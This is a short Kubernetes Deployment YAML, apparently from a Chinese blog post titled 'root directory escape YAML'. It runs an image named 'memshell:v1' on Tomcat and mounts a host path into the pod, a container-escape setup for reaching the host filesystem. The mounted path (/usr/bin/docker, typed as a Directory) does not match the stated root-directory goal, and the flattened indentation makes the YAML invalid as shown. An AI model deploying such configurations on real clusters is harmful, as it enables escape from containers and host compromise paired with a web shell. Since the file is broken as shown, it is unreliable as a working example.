apiVersion: apps/v1
kind: Deployment
metadata:
name: rootdir-escape
labels:
app: rootdir-escape
spec:
replicas: 2
selector:
matchLabels:
app: rootdir-escape
template:
metadata:
labels:
app: rootdir-escape
spec:
containers:
- name: rootdir-escape
image: memshell:v1
imagePullPolicy: IfNotPresent
command: ["/home/apache-tomcat-8.5.71/bin/catalina.sh","run"]
volumeMounts:
- mountPath: /tmp/root
name: rootdir
volumes:
- name: rootdir
hostPath:
path: /usr/bin/docker
type: Directory
根目录逃逸Yaml
于 2024-01-24 21:10:12 首次发布